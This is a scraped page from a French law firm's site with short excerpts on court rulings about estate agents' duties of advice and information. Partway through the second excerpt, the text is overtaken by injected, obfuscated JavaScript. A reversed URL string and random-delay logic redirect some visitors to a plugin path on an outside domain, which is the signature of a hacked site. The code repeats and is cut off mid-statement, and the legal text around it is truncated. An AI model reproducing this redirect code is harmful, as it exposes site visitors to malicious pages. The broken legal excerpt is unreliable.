Lemoine avocat

agent immobilier

Solvabilité de l’acquéreur

Solvabilité de l’acquéreur

Devoir de conseil des agents immobiliers l’agent immobilier a un devoir de conseil sur la solvabilité de l’acquéreur, Cass., Civ., 1ère, 11 décembre 2019 (n° 18-24381) Dans cet arrêt, la Cour de cassation casse partiellement l’arrêt de la Cour d’appel et indique que « l’agent immobilier n’avait pas justifié avoir conseillé…

Devoir d’information de l’agent immobilier

Devoir d’information de l’agent immobilier

L’agent immobilier a un devoir d’information Cass., Civ., 1ère, 9 janvier 2019 (n°18-245) Dans cet arrêt, la Cour de cassation a jugé « qu’il incombait à l’agent immobilier, tenu d’une obligation de conseil, d’informer ses mtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6);…